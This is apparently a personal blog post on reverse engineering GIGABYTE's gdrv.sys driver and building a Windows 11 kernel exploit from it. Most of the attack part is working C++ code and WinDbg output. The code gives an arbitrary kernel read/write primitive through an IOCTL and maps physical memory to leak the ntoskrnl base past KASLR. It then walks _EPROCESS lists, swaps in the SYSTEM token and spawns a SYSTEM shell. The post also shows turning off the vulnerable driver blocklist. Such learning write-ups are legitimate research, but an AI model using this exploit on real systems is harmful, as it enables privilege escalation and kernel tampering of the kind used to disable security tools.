Windows Driver Exploitation with Gdrv.sys
Background
At the end of 2024 I had wanted to learn more about Windows driver exploitation. I’ve spent a fair bit of time in Windows user-land, but not with the kernel. I haven’t looked at the Windows kernel much since I took the OSEE course. So I set a goal for myself this year to research a known-vulnerable Windows driver and craft a functional exploit. The goals of this project were to:
- Choose a known-vulnerable third-party Windows driver from loldrivers.
- Reverse engineer it to find exploitable vulnerabilities.
- Write a functional exploit to do something useful with the vulnerabilities.
- Don’t look at any CVEs or prior research for this driver.
Choosing a Driver
Since I didn’t have a lot of experience with Windows drivers, someone recommended I try looking at gdrv.sys first. I found it available on loldrivers.io. Specifically, I downloaded this version. It’s the one with MD5 hash 3c55092900343d3d28564e2d34e7be2c. Based on the info from loldrivers, it seemed this was some kind of software driver from GIGA-BYTE.
Test Environment
I setup two Windows 11 systems. One of them would load the driver and act as the target. The other would be my debugging machine, running Visual Studio and WinDbg. Both systems were running Windows 11 24H2 build 26100.6584.
After configuring the target for kernel debugging, I disabled the Windows vulnerable driver blocklist because I figured this driver would certainly be blocked.

Then I setup a system service to load the driver.
sc.exe create gdrv.sys binPath=C:\windows\temp\gdrv.sys type=kernel && sc.exe start gdrv.sys
[SC] CreateService SUCCESS
SERVICE_NAME: gdrv.sys
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 0
FLAGS :
Reverse Engineering
Auto Analysis
My typical tool of choice is Ghidra, since it’s free and open source. I loaded the binary up in Ghidra and let it run the auto analysis. Based on how quickly the analysis completed and then glancing at the list of functions, I could tell this was a very small and simple driver. This would make it a good candidate to whet my appetite on third-party Windows drivers. The next thing I did was rebase the image and set its base address to 0x0. I like to operate this way so I can easily calculate offsets to symbols.
Search for Strings
Based on some prior experience I had working with third-party Windows drivers as part of the OSEE course, I was aware that in order to communicate with a device driver, a user-mode program needs to first open a handle to the device. This usually involves calling CreateFile on a device symbolic link like \\.\DeviceName. These are usually defined in the driver as a string like \\DosDevice\DeviceName. Since the binary was small, I decided to use Ghidra to search for all strings in the binary and see if anything jumped out. Sure enough, there were a few strings that looked interesting.


This indicated to me that I likely needed to open a handle to the following path:
\\.\GIOV2
IOCTLs
Typically, a user-mode program will interact with a third-party kernel driver using an Input/Output Control Code (IOCTL). An IOCTL is basically just a numeric code that corresponds to a specific function the driver is to perform. A driver will process incoming requests and identify the requested IOCTL. It will have various mechanisms in place to handle the various IOCTLs that it is expecting. Any unexpected IOCTLs will not be processed. I figured the next step was to figure out where the IOCTL handling code was in this driver.
The device strings were referenced in function FUN_00007000. Looking that function, I noticed there was one other function referenced in the code, but not used here.
void FUN_00007000(undefined8 param_1,longlong param_2)
{
int iVar1;
void *_Dst;
undefined auStack_158 [32];
//...
ulonglong local_10;
local_110 = &local_58;
local_10 = DAT_00004040 ^ (ulonglong)auStack_158;
local_40 = 0x32;
local_58._0_2_ = L'\\';
local_58._2_2_ = L'D';
uStack_54._0_2_ = L'e';
uStack_54._2_2_ = L'v';
uStack_50._0_2_ = L'i';
uStack_50._2_2_ = L'c';
uStack_4c._0_2_ = L'e';
uStack_4c._2_2_ = L'\\';
local_18 = 0x32;
local_100 = &local_38;
local_48 = 0x56004f00490047;
local_38._0_2_ = L'\\';
local_38._2_2_ = L'D';
uStack_34._0_2_ = L'o';
uStack_34._2_2_ = L's';
uStack_30._0_2_ = L'D';
uStack_30._2_2_ = L'e';
uStack_2c._0_2_ = L'v';
uStack_2c._2_2_ = L'i';
local_118[0] = 0x1c001a;
local_28._0_2_ = L'c';
local_28._2_2_ = L'e';
uStack_24._0_2_ = L's';
uStack_24._2_2_ = L'\\';
uStack_20._0_2_ = L'G';
uStack_20._2_2_ = L'I';
uStack_1c._0_2_ = L'O';
uStack_1c._2_2_ = L'V';
local_108[0] = 0x240022;
local_128 = param_2;
(*DAT_000042b0)(DAT_00004d48,0x650063,0);
(*DAT_000042a8)(DAT_00004d48,local_128,2);
iVar1 = (*DAT_000042d8)(DAT_00004d48,local_128,local_118);
if (-1 < iVar1) {
(*DAT_00004190)(DAT_00004d48,local_128,_guard_check_icall,1);
(*DAT_000042d0)(DAT_00004d48,local_128,0x22);
memset(local_f0,0,0x38);
local_c0 = PTR_DAT_00004018;
local_f0[0] = 0x38;
local_d8 = 1;
local_d4 = 1;
iVar1 = (*DAT_00004318)(DAT_00004d48,&local_128,local_f0,&local_120);
if (-1 < iVar1) {
_Dst = (void *)(*DAT_00004710)(DAT_00004d48,local_120,PTR_DAT_00004018);
memset(_Dst,0,0x20);
iVar1 = (*DAT_00004340)(DAT_00004d48,local_120,local_108);
if (-1 < iVar1) {
memset(&local_b8,0,0x58);
local_68 = 0xffffffff;
local_90 = FUN_00007720; // <-------------- THIS FUNCTION
local_138 = local_f8;
local_b8 = 0x58;
local_b0 = 2;
local_ab = 1;
local_b4 = 2;
iVar1 = (*DAT_00004580)(DAT_00004d48,local_120,&local_b8,0);
if (-1 < iVar1) {
(*DAT_00004198)(DAT_00004d48,local_120);
}
}
}
}
if (local_128 != 0) {
(*DAT_00004270)(DAT_00004d48);
}
FUN_00001ce0(local_10 ^ (ulonglong)auStack_158);
return;
}
That function looked awfully promising:
void FUN_00007720(undefined8 param_1,undefined8 param_2,ulonglong param_3,ulonglong param_4,
uint ioctl_code)
{
int iVar1;
undefined8 uVar2;
undefined8 local_res20;
local_res20 = 0;
if (param_4 == 0) {
iVar1 = -0x3ffffff3;
goto LAB_0000786c;
}
if (ioctl_code < 0xc3502401) {
if (ioctl_code == 0xc3502400) {
iVar1 = FUN_000074f0(param_2,param_3,param_4,&local_res20);
}
else if (ioctl_code == 0xc3502000) {
iVar1 = ioctl_handler_0x2000(param_2,param_3,param_4,&local_res20);
}
else if (ioctl_code == 0xc3502004) {
iVar1 = FUN_000072c0(param_1,param_2,param_3,param_4,&local_res20);
}
else if (ioctl_code == 0xc3502008) {
iVar1 = FUN_0000761c(param_1,param_2,param_3,param_4,&local_res20);
}
else if (ioctl_code == 0xc350200c) {
iVar1 = ioctl_handler_MapViewOfSection(param_2,param_3,param_4,&local_res20);
}
else if (ioctl_code == 0xc3502010) {
uVar2 = ioctl_handler_UnmapViewOfSection(param_2,param_4,&local_res20);
iVar1 = (int)uVar2;
}
else {
if (ioctl_code != 0xc3502014) goto LAB_00007861;
iVar1 = ioctl_handler_0x2014(param_2,param_3,param_4,&local_res20);
}
}
else if (ioctl_code == 0xc3502440) {
iVar1 = FUN_00001a98(param_2,param_3,param_4,&local_res20);
}
else if (ioctl_code == 0xc3502580) {
iVar1 = FUN_00001940(param_2,param_3,param_4,&local_res20);
}
else if (ioctl_code == 0xc3502800) {
iVar1 = FUN_000013d4(param_2,param_3,param_4,&local_res20);
}
else if (ioctl_code == 0xc3502804) {
iVar1 = FUN_000014e0(param_2,param_4,&local_res20);
}
else if (ioctl_code == 0xc3502808) {
iVar1 = ioctl_handler_0x2808(param_2,param_4,&local_res20);
}
else {
if (ioctl_code != 0xc350280c) {
LAB_00007861:
iVar1 = -0x3ffffff0;
goto LAB_0000786c;
}
iVar1 = ioctl_handler_0x280c(param_2,param_3,param_4,&local_res20);
}
if (-1 < iVar1) {
(*DAT_00004908)(DAT_00004d48,param_2,0,local_res20);
return;
}
LAB_0000786c:
(*DAT_000048f8)(DAT_00004d48,param_2,iVar1);
return;
}
Note that some of the symbols in this function were renamed by me. For example, ioctl_code and ioctl_handler_0x280c were renamed. I haven’t worked with many drivers, but the few that I have looked at usually had some code that looked like this. This function seemed like it was processing incoming data and checking the IOCTL code, then branching out depending on which code was submitted. This seemed like the right place.
I went through the various handler functions looking for… some kind of useful bug. And boy did I find one. Here’s the last IOCTL handler function:
int ioctl_handler_0x2808(undefined8 param_1,longlong param_2,undefined8 *param_3)
{
int iVar1;
ulonglong counter;
undefined *?dest;
undefined8 *local_res10;
uint ?size;
longlong ?src;
if (param_2 == 0x18) {
iVar1 = (*DAT_00004928)(DAT_00004d48,param_1,0x18,&local_res10,0);
if (-1 < iVar1) {
?dest = (undefined *)*local_res10;
?src = local_res10[1];
?size = *(uint *)(local_res10 + 2);
DbgPrint("Dest=%x,Src=%x,size=%d",?dest,?src,?size);
if (?size != 0) {
?src = ?src - (longlong)?dest;
counter = (ulonglong)?size;
do {
*?dest = ?dest[?src];
?dest = ?dest + 1;
counter = counter - 1;
} while (counter != 0);
}
*param_3 = 0;
}
}
else {
iVar1 = -0x3ffffff3;
}
return iVar1;
}
I immediately noticed the DbgPrint function call in the middle. It included parameter names Dest, Src, and size. That looked really juicy, like some kind of copy operation.
The first thing that happens in this function is that it checks param_2 to see if it equals 0x18. Next, it calls function DAT_00004928 and the third parameter is again set to 0x18. The fourth parameter is &local_res10. After that, the three variables dest, src, and size are set using values from a buffer at &local_res10. After the DbgPrint there’s a check to make sure that the size parameter is not 0. A counter variable is then initialized to be the same value as size. Then there’s a do-while loop.
This loop confused me at first, but it’s basically just a memcpy. It copies one byte at a time from a memory address stored in src to the location specified in dest. It will decrement the counter until it reaches zero, ensuring that the specified number of bytes are copied.
My suspicion was that since these three values were pulled out of the local_res10 buffer, that buffer was probably the payload sent from user-mode. If that was true, it would mean this IOCTL could be used to perform kernel-mode arbitrary reads and writes. This is basically hitting the jackpot.
If this really was the buffer specified in the IOCTL call, then the 0x18 check was probably checking the size of the incoming payload. 0x18 bytes is enough for three 8-byte values. This would be enough for the source and destination pointers at eight bytes each, plus the size variable.
Test Code
To test out this theory, I wrote a simple user-mode program to interact with the driver. I borrowed much of this code from Microsoft’s examples.
// GdrvClient.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include <iostream>
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strsafe.h>
#define SIOCTL_TYPE 0xc350
#define IOCTL_SIOCTL_ARBITRARY_READWRITE \
CTL_CODE( SIOCTL_TYPE, 0xa02, METHOD_BUFFERED, FILE_ANY_ACCESS )
struct addrs {
UINT64 dst;
UINT64 src;
unsigned long long size;
};
int main()
{
HANDLE hDevice;
BOOL bRc;
ULONG bytesReturned;
DWORD errNum = 0;
TCHAR driverLocation[MAX_PATH];
//
// open the device
//
if ((hDevice = CreateFile(L"\\\\.\\GIOV2",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL)) == INVALID_HANDLE_VALUE) {
printf("Error opening driver!\n");
}
addrs buf;
buf.dst = 0x4242424242424242;
buf.src = 0x4141414141414141;
buf.size = 0;
bRc = DeviceIoControl(hDevice,
(DWORD)IOCTL_SIOCTL_ARBITRARY_READWRITE,
&buf,
sizeof(buf),
NULL,
0,
&bytesReturned,
NULL
);
if (!bRc)
{
printf("Error in DeviceIoControl : %d", GetLastError());
exit(1);
}
CloseHandle(hDevice);
return 0;
}
The program is pretty simple. First, it defines the IOCTLs we want to use to interact with the driver. In Ghidra, the IOCTL code that was checked was 0xc3502808. But this isn’t actually how the code is specified from the user-mode program:
#define SIOCTL_TYPE 0xc350
#define IOCTL_SIOCTL_ARBITRARY_READWRITE \
CTL_CODE( SIOCTL_TYPE, 0xa02, METHOD_BUFFERED, FILE_ANY_ACCESS )
The first two bytes (0xc350)are actually included in the SIOCTL_TYPE parameter for the CTL_CODE macro. The next two bytes (0x2808) must then be divided by 4 and included as the IOCTL code. I actually do not know why this is. I just figured this out through trial and error. I originally tried sending 0x2802 and found that when the IOCTL processing function was triggered, the incoming IOCTL code was 0x2802 multiplied by 4. So I divided it by 4 and it started working…
Also, there are a few different methods the IOCTL can use to send/receive data to the device. I chose METHOD_BUFFERED since it allows for both input and output, though this IOCTL doesn’t seem to output any data back to user-mode. I’m not sure if this needs to match up with the way the IOCTL is configured on the driver side, but I just chose METHOD_BUFFERED and it worked.
In main, the code opens a handle to the driver device. Then it allocates a buffer using a custom structure which accepts a source address, destination address, and size:
struct addrs {
UINT64 dst;
UINT64 src;
unsigned long long size;
};
This matches up with what the IOCTL handler seems to expect in the IO buffer. Then it calls the DeviceIoControl function to actually interact with the driver. I specified the custom structure as the input buffer for the IOCTL, and NULL for the output buffer and size since this IOCTL doesn’t return any data. Finally, it closes the handle and exits.
I set a breakpoint on the IOCTL handler and tried out the test program.
0: kd> bp gdrv+0x162c
Eventually it reached the 0x18 check and I found that the numbers did match up, so we passed the check.
0: kd>
gdrv+0x1647:
fffff807`64581647 493bd0 cmp rdx,r8
0: kd> r rdx,r8
rdx=0000000000000018 r8=0000000000000018
Next, it reached the mystery function call. With symbols loaded in WinDbg I discovered that the function call was for WdfRequestRetrieveInputBuffer.
0: kd>
gdrv+0x1668:
fffff807`64581668 ff15ba320000 call qword ptr [gdrv+0x4928 (fffff807`64584928)]
0: kd> dqs fffff807`64584928 L1
fffff807`64584928 fffff807`5f8892f0 Wdf01000!imp_WdfRequestRetrieveInputBuffer [minkernel\wdf\framework\shared\core\fxrequestapi.cpp @ 975]
This function is a part of the Windows Driver Framework. According to the documentation, this function is used to retrieve an IO request’s input buffer. This would be the buffer sent from user-mode, or from my exploit code. This matches up with what I expected and proved I was on the right track.
The documentation says that the fourth parameter should be a pointer to an 8-byte buffer that will contain a pointer to the buffer submitted from user-mode. So I checked the value of r9 to get the address where the pointer will be stored.
0: kd> r r9
r9=ffff850638bad478
Then I stepped over the call instruction and checked the output.
0: kd> p
gdrv+0x166e:
fffff807`6458166e 8bf8 mov edi,eax
0: kd> dq ffff850638bad478 L1
ffff8506`38bad478 ffffb10f`803d4e80
The address at ffffb10f803d4e80 should have contained my submitted buffer, and indeed it did.
0: kd> dq ffffb10f`803d4e80 L3
ffffb10f`803d4e80 42424242`42424242 41414141`41414141
ffffb10f`803d4e90 00000000`00000000
Stepping through the rest of the function, the dest parameter was populated with 4242424242424242, src was filled with 4141414141414141. size was set to 0. This prevented the copy operation from actually happening, which would have caused a BSOD since the memory addresses I specified were not actually valid. This proved that the function could be abused to read a specified amount of kernel memory from one arbitrary location and write it to another. It could be used for arbitrary reads and writes in kernel-mode.
Making it Useful
Token Swapping to SYSTEM
A common task for a Windows driver exploit is to use it to escalate privileges to SYSTEM. I figured that was as good of a task as any for me to develop for this exploit. The common technique to do this is called token swapping. Every Windows process is represented in the kernel by a data structure called _EPROCESS. In this structure is a field called Token. The exact offset to this field can change from Windows version to Windows version. On this version the offset os 0x248.
0: kd> dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x1c8 ProcessLock : _EX_PUSH_LOCK
+0x1d0 UniqueProcessId : Ptr64 Void
+0x1d8 ActiveProcessLinks : _LIST_ENTRY
...
+0x248 Token : _EX_FAST_REF
...
This field is a pointer to a structure which acts as a security token for the process. The token indicates to Windows what permissions this process has and what user context the process belongs to. The basic idea of token swapping is to use a Windows kernel read primitive to read the token field of an _EPROCESS structure belonging to a process with SYSTEM privileges. This would give you a pointer to that token. Then you use a write primitive to overwrite your own process’ token field with that pointer. Your process then magically has the same privileges as the SYSTEM process.
To pull this off, I would need to be able to identify a pointer to a system process’ _EPROCESS structure and also a pointer to my exploit process’ _EPROCESS structure. One nice thing is that the _EPROCESS structure also contains a doubly-linked list. At offset 0x1d8 (in this Windows version) there is a field called ActiveProcessLinks. This is a _LIST_ENTRY which contains two pointers. The first pointer points to the next _EPROCESS structure’s ActiveProcessLinks field for another process. The second pointer points to the previous _EPROCESS structure’s ActiveProcessLinks field.
0: kd> dt _EPROCESS ffffb10f`796a8040
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x1c8 ProcessLock : _EX_PUSH_LOCK
+0x1d0 UniqueProcessId : 0x00000000`00000004 Void
+0x1d8 ActiveProcessLinks : _LIST_ENTRY [ 0xffffb10f`797ce258 - 0xfffff807`ce1054d0 ]
...
So each structure has a pointer to the next one and the previous one and they go in a circle in both directions. This means that if you get a pointer to one _EPROCESS structure, you can use the ActiveProcessLinks to enumerate the _EPROCESS structures for all other processes on the system.
Enumerating an _EPROCESS
So how do you get a pointer to an _EPROCESS structure to begin with? Traditionally, you could pretty easily leak kernel-mode pointers from user-mode using an API like NtQuerySystemInformation, but recent versions of Windows have patched this. Those APIs now only return the pointers if you already have SeDebugPrivileges on your current process. That meant I would need another way to enumerate the _EPROCESS structures.
After some reading, I came across some information that the Windows kernel exports a symbol called PsInitialSystemProcess. This global variable contains a pointer to the initial System _EPROCESS structure.
0: kd> dq PsInitialSystemProcess L1
fffff807`ce1c5aa8 ffffb10f`796a8040
0: kd> dt _EPROCESS ffffb10f`796a8040
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x1c8 ProcessLock : _EX_PUSH_LOCK
+0x1d0 UniqueProcessId : 0x00000000`00000004 Void
+0x1d8 ActiveProcessLinks : _LIST_ENTRY [ 0xffffb10f`797ce258 - 0xfffff807`ce1054d0 ]
+0x1e8 RundownProtect : _EX_RUNDOWN_REF
+0x1f0 Flags2 : 0xd000
...
This symbol will always be at the same offset from the start of ntoskrnl.exe. Though, the offset is dependant on the running Windows version. But if you know the Windows version, then you can find this pointer as long as you also have a way to identify the base address of ntoskrnl.
Enumerating the ntoskrnl Base Address
Low Stub
So how do we enumerate the ntoskrnl base address when KASLR is enabled in modern Windows versions? In my research, I came across a couple of interesting blog posts that worked out very well for me. In fact, I borrowed a fair bit of code from the author’s own proof of concept code in my final exploit.
The author discusses something called the Low Stub, which is a data structure of the type PROCESSOR_START_BLOCK and always exists between physical addresses 0x10000 and 0x20000 for HVCI-enabled systems.
typedef struct _PROCESSOR_START_BLOCK {
FAR_JMP_16 Jmp;
ULONG CompletionFlag;
PSEUDO_DESCRIPTOR_32 Gdt32;
PSEUDO_DESCRIPTOR_32 Idt32;
KGDTENTRY64 Gdt[PSB_GDT32_MAX + 1];
ULONG64 TiledCr3;
FAR_TARGET_32 PmTarget;
FAR_TARGET_32 LmIdentityTarget;
PVOID LmTarget;
PPROCESSOR_START_BLOCK SelfMap;
ULONG64 MsrPat;
ULONG64 MsrEFER;
KPROCESSOR_STATE ProcessorState;
} PROCESSOR_START_BLOCK;
At the end of that structure is another structure called KPROCESSOR_STATE.
typedef struct _KPROCESSOR_STATE {
KSPECIAL_REGISTERS SpecialRegisters;
CONTEXT ContextFrame;
} KPROCESSOR_STATE, *PKPROCESSOR_STATE;
That structure contains another nested structure called CONTEXT. Inside THAT structure, is a field called Rip.
typedef struct _CONTEXT {
...
DWORD64 Rip;
...
} CONTEXT, *PCONTEXT;
The Rip field contains the address of KiSystemStartup. KiSystemStartup is also the entry point to the Windows kernel. If you know what version of Windows you are running, you can subtract the entry point’s offset from KiSystemStartup to get the ntoskrnl base address. So if you have a way to enumerate KiSystemStartup, then you can figure out the ntoskrnl base address.
The read/write primitive I have via gdrv.sys cannot read physical memory. But, there is a kernel API called ZwMapViewOfSection that can map a range of physical memory to a virtual memory address that is accessible to the calling process. So if your vulnerable driver has a bug which allows the user-mode exploit to map arbitrary physical addresses into user space, then you can try to search for the Low Stub in physical memory and work forward from there.
ZwMapViewOfSection
As it turns out, gdrv.sys has another IOCTL that allows for exactly this!
int ioctl_handler_MapViewOfSection
(undefined8 param_1,longlong param_2,longlong param_3,undefined8 *param_4)
{
int iVar1;
longlong BaseAddress;
undefined8 SectionHandle;
undefined8 *InputBuffer;
undefined8 SectionOffset;
ulonglong CommitSize;
longlong *OutputBuffer;
OBJECT_ATTRIBUTES ObjectAttributes;
undefined Object [8];
UNICODE_STRING object_name;
if ((param_3 == 0x10) && (param_2 == 0x10)) {
iVar1 = (*?WdfRequestRetrieveInputBuffer)(DAT_00004d48,param_1,0x10,&InputBuffer,0);
if (-1 < iVar1) {
iVar1 = (*?WdfRequestRetrieveOutputBuffer)(DAT_00004d48,param_1,0x10,&OutputBuffer,0);
if (-1 < iVar1) {
memset(&ObjectAttributes,0,0x30);
RtlInitUnicodeString(&object_name,L"\\Device\\PhysicalMemory");
ObjectAttributes.RootDirectory = (HANDLE)0x0;
ObjectAttributes.ObjectName = &object_name;
BaseAddress = 0;
ObjectAttributes.Length._0_4_ = 0x30;
ObjectAttributes.Attributes._0_4_ = 0x40;
ObjectAttributes._32_16_ = ZEXT816(0);
iVar1 = ZwOpenSection(&SectionHandle,0xf001f,&ObjectAttributes);
if (iVar1 == 0) {
iVar1 = ObReferenceObjectByHandle(SectionHandle,0xf001f,0,0,Object,0);
if (iVar1 == 0) {
SectionOffset = *InputBuffer;
CommitSize = (ulonglong)*(uint *)(InputBuffer + 1);
iVar1 = ZwMapViewOfSection(SectionHandle,0xffffffffffffffff,&BaseAddress,0,CommitSize,
&SectionOffset,&CommitSize,1,0,4);
if (iVar1 == 0) {
BaseAddress = BaseAddress +
(ulonglong)(uint)(*(int *)InputBuffer - (int)SectionOffset);
*OutputBuffer = BaseAddress;
*param_4 = 8;
DbgPrint("VirtualAddress=0x%x , 0x%x\n",BaseAddress,&BaseAddress);
}
else {
BaseAddress = 0;
}
}
ZwClose(SectionHandle);
}
}
}
}
else {
iVar1 = -0x3ffffff3;
}
return iVar1;
}
IOCTL 0x803 will trigger the above handler function. This function uses an input buffer and an output buffer and checks to ensure that both are 0x10 bytes in size. The first eight bytes in the buffer specify an offset from zero. The next eight bytes specify the size of memory to be mapped. Eventually, ZwMapViewOfSection will be invoked with a base address of 0 and whatever size and offset were specified by the IOCTL data.
The resulting virtual memory address is then placed into the IOCTL output buffer and sent back to the user-mode program, or exploit in this case. With this new vulnerability, I can scan physical memory to look for the kernel entry point address. But how do we know the entry point address without knowing it first?
Kernel Entrypoint Offset
We don’t really need to know the full entry point address. KALSR does not randomize the lower bits of an address. So we can figure out what the offset of the entry point is relative to the beginning of ntoskrnl.exe. Then we can just search for an 8-byte pointer with matching lower bits.
To get the offset, I loaded ntoskrnl.exe into Ghidra, rebased the image to 0x0, and then just went to the Entry label.

For this Windows version, it was 0xfc5aa8. Only the last few bits of that offset will not be randomized, so I can perform an and operation with 0xFFFFF to get 0xc5aa8. So once I have the physical memory mapped, I can search the beginning for a pointer ending with 0xc5aa8 and that should give me the entry point to the kernel. Then I can subtract 0xfc5aa8 from that pointer to get the base address.
Leaking the Kernel Base Address
Most of the code I used for this was borrowed from Yazid in the previous links. First, we use GlobalMemoryStatusEx to figure out the total amount of physical memory in the system.
MEMORYSTATUSEX memoryStatus;
memoryStatus.dwLength = sizeof(memoryStatus);
if (GlobalMemoryStatusEx(&memoryStatus)) {
printf("[*] Total physical memory: ~0x%llx bytes\n", memoryStatus.ullTotalPhys);
}
else {
printf("[X] Failed to retrieve memory information. Error: %lu\n", GetLastError());
}
Then we use the new vulnerability to map the entire range to a virtual address.
UINT64 virt_addr = MapPhysMem(hDevice, memoryStatus.ullTotalPhys);
printf("[+] virt_addr: 0x%llx\n", virt_addr);
The MapPhysMem function is defined like this:
UINT64 MapPhysMem(HANDLE hDevice, unsigned long long size)
{
BOOL bRc;
ULONG bytesReturned;
unsigned long bytes_returned = 0;
map_input buf;
buf.offset = 0;
buf.size = size;
bRc = DeviceIoControl(hDevice,
(DWORD)IOCTL_SIOCTL_MAP_PHYS_MEM,
&buf,
sizeof(buf),
&buf,
sizeof(buf),
&bytesReturned,
NULL
);
if (!bRc)
{
printf("Error in DeviceIoControl : %d", GetLastError());
exit(1);
}
UINT64 virt_addr = buf.offset;
return virt_addr;
}
All we do is tell it how much memory we want to map, and the driver does the rest. The function then returns the virtual address. Next, we can actually leak the kernel base address.
BYTE* memory_data = (BYTE*)virt_addr;
UINT64 ntos_base = GetNtosBase(memory_data);
printf("[+] NTOSKRNL base addr: 0x%llx\n", ntos_base);
The GetNtosBase function is defined like this:
UINT64 GetNtosBase(BYTE* memory_data) {
UINT64 supposedNtosBase = 0;
for (unsigned long long physical_offset = 0x0; physical_offset < 0x100000; physical_offset += sizeof(UINT64)) {
UINT64 qword_value = ReadMemoryU64(memory_data, physical_offset);
if ((qword_value & 0xFFFFF) == (offset_ntosEntryPoint & 0xFFFFF)) {
printf("[*] Found KiSystemStartup -> %p\n", qword_value);
supposedNtosBase = (qword_value - offset_ntosEntryPoint);
printf("[*] In a silly way, we can assume NTOS base address is %p\n", supposedNtosBase);
}
}
return supposedNtosBase;
}
And offset_ntosEntryPoint is defined like:
#define offset_ntosEntryPoint 0xb3b3a0
The GetNtosBase function loops through physical memory addresses 0x0 and 0x100000, searching for a pointer ending in 0xc5aa8. If found, it subtracts the entry point offset from that value to get the kernel base address. Then it returns the base address. And that’s all there is to it!
Leaking the System _EPROCESS
With the kernel base address leaked, we can use the read primitive to leak the System process _EPROCESS pointer. The following three code blocks simply perform the arbitrary read to leak the PsInitialSystemProcess pointer by reading from the kernel base address plus the offset to PsInitialSystemProcess.
UINT64 system_eprocess = GetSystemEprocess(hDevice, ntos_base);
printf("[+] SYSTEM eprocess: %llx\n", system_eprocess);
UINT64 GetSystemEprocess(HANDLE hDevice, UINT64 ntosBase) {
UINT64 system_eprocess = 0;
if (ArbRead(hDevice, ntosBase + offset_PsInitialSystemProcess, (char*) &system_eprocess, 0x8)) {
return system_eprocess;
}
return 0;
}
bool ArbRead(HANDLE hDevice, unsigned long long addr, char* buf, unsigned long long size) {
BOOL bRc;
ULONG bytesReturned;
unsigned long bytes_returned = 0;
read_input input;
input.dst = buf;
input.src = addr;
input.size = size;
char* dest_buf = (char*) malloc(size);
if (dest_buf == 0) {
printf("[!] Error performing arbitrary read!\n");
return false;
}
bRc = DeviceIoControl(hDevice,
(DWORD)IOCTL_SIOCTL_ARBITRARY_READWRITE,
&input,
sizeof(input),
dest_buf,
size,
&bytesReturned,
NULL
);
if (!bRc)
{
printf("Error in DeviceIoControl : %d", GetLastError());
exit(1);
}
return true;
}
Leaking the Exploit _EPROCESS
The next step was to locate the exploit process’ _EPROCESS structure. The following code blocks use a do-while loop to walk the _EPROCESS ActiveProcessLinks linked list. It searches for a structure that has a process ID in the uniqueProcessId field that matches the exploit’s PID. Once found, it returns a pointer to the _EPROCESS structure.
printf("[+] Searching for my EPROCESS...\n");
UINT64 my_eprocess = FindMyEprocess(hDevice, system_eprocess);
printf("[+] EPROCESS found: %llx\n", my_eprocess);
UINT64 FindMyEprocess(HANDLE hDevice, UINT64 system_eprocess) {
DWORD my_pid = GetCurrentProcessId();
UINT64 my_eprocess = 0;
UINT64 next_eprocess = system_eprocess;
do {
if (!ArbRead(hDevice, next_eprocess + offset_activeProcessLinks, (char*)&next_eprocess, 0x8)) {
return 0;
}
next_eprocess -= offset_activeProcessLinks;
UINT64 pid = 0;
if (!ArbRead(hDevice, next_eprocess + offset_uniqueProcessId, (char*)&pid, 0x8)) {
return 0;
}
if (pid == my_pid) {
return next_eprocess;
}
} while (next_eprocess != system_eprocess);
return 0;
}
Token Swap
Next, we swap the security token from the System process to the exploit process. The below code performs an arbitrary read against the System process’ Token field value, which is a pointer to the actual token. It then uses the same vulnerability to write the token value back over the exploit process’ own token. This elevates the exploit to SYSTEM privileges.
printf("[+] Swapping token...\n");
if (!swap_token(hDevice, system_eprocess, my_eprocess)) {
printf("[!] Unable to swap token!\n");
return -1;
}
printf("[+] Token swapped!\n");
bool swap_token(HANDLE hDevice, UINT64 system_eprocess, UINT64 my_eprocess) {
UINT64 system_token_addr = 0;
if (!ArbRead(hDevice, system_eprocess + offset_token, (char*)&system_token_addr, 0x8)) {
return false;
}
if (!ArbWrite(hDevice, my_eprocess + offset_token, (char*)&system_token_addr, 0x8)) {
return false;
}
return true;
}
bool ArbWrite(HANDLE hDevice, unsigned long long addr, char* buf, unsigned long long size) {
BOOL bRc;
ULONG bytesReturned;
unsigned long bytes_returned = 0;
write_input input;
input.dst = addr;
input.src = buf;
input.size = size;
bRc = DeviceIoControl(hDevice,
(DWORD)IOCTL_SIOCTL_ARBITRARY_READWRITE,
&input,
sizeof(input),
NULL,
NULL,
&bytesReturned,
NULL
);
if (!bRc)
{
printf("Error in DeviceIoControl : %d", GetLastError());
exit(1);
}
return true;
}
Pop a Shell
Finally, the exploit spawns a new shell with SYSTEM privileges.
STARTUPINFO info = { sizeof(info) };
PROCESS_INFORMATION processInfo;
CreateProcess(L"c:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &info, &processInfo);

Caveats
I discovered later on that you can’t open a handle to this driver as a low privileged user. You have to have admin privileges. That means that I have to run the exploit with admin privileges in order for it to work. If you already have admin privileges, then getting SYSTEM access is really no big deal and this exploit is not really necessary. However, the exploit could be used to manipulate other things in the kernel for other nefarious purposes. Token stealing was more of a basic example of something that can be done. The purpose of this exercise was to learn more about Windows drivers and to gain more experience exploiting them. I’d say mission accomplished.
Source Code
Full source code can be found on GitHub.